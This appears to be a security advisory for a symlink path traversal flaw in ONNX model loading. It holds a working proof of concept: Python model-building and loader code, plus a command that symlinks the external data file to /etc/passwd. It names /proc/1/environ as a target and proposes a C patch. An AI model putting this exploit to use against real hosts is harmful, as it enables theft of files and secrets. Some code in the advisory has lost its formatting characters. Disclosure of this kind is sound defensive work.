CVE-2026-27489: ONNX: Path Traversal via Symlink

Summary A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

Details The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::isregularfile performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

PoC

python Create a demo model with external data import os import numpy as np import onnx from onnx import helper, TensorProto, numpyhelper

def createonnxmodel(outputpath="model.onnx"): weightmatrix = np.random.randn(1000, 1000).astype(np.float32)

X = helper.maketensorvalueinfo("X", TensorProto.FLOAT, [1, 1000]) Y = helper.maketensorvalueinfo("Y", TensorProto.FLOAT, [1, 1000]) W = numpyhelper.fromarray(weightmatrix, name="W")

matmulnode = helper.makenode("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

graph = helper.makegraph( nodes=[matmulnode], name="SimpleModel", inputs=[X], outputs=[Y], initializer=[W] )

model = helper.makemodel(graph, opsetimports=[helper.makeopsetid("", 11)]) onnx.checker.checkmodel(model)

datafile = outputpath.replace('.onnx', '.data')

if os.path.exists(outputpath): os.remove(outputpath) if os.path.exists(datafile): os.remove(datafile)

onnx.savemodel( model, outputpath, saveasexternaldata=True, alltensorstoonefile=True, location=os.path.basename(datafile), sizethreshold=1024 1024 )

if name == "main": createonnxmodel("model.onnx")

1. Run the above code to generate a sample model with external data. 2. Remove model.data 3. Run ln -s /etc/passwd model.data 4. Load the model using the following code 5. Observe check for symlink is bypassed and model is succesfuly loaded

python import onnx from onnx.externaldatahelper import loadexternaldataformodel

def loadonnxmodelbasic(modelpath="model.onnx"): model = onnx.load(modelpath) return model

def loadonnxmodelexplicit(modelpath="model.onnx"): model = onnx.load(modelpath, loadexternaldata=False) loadexternaldataformodel(model, ".") return model

if name == "main": model = loadonnxmodelbasic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Sample patch

c #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <errno.h>

int openexternalfilenosymlink(const char basedir, const char relativepath) { int dirfd = -1; int fd = -1; struct stat st;

// Open base directory dirfd = open(basedir, ORDONLY | ODIRECTORY); if (dirfd < 0) { return -1; }

// Open the target relative to basedir // ONOFOLLOW => fail if final path component is a symlink fd = openat(dirfd, relativepath, ORDONLY | ONOFOLLOW); close(dirfd);

if (fd < 0) { // ELOOP is the typical error if a symlink is encountered return -1; }

// Inspect the opened file if (fstat(fd, &st) != 0) { close(fd); return -1; }

// Enforce "regular file only" if (!SISREG(st.stmode)) { close(fd); errno = EINVAL; return -1; }

// fd is now: // - not a symlink // - not a directory // - not a device / FIFO / socket // - race-safe return fd; }

Resources

https://cwe.mitre.org/data/definitions/61.html https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172 https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368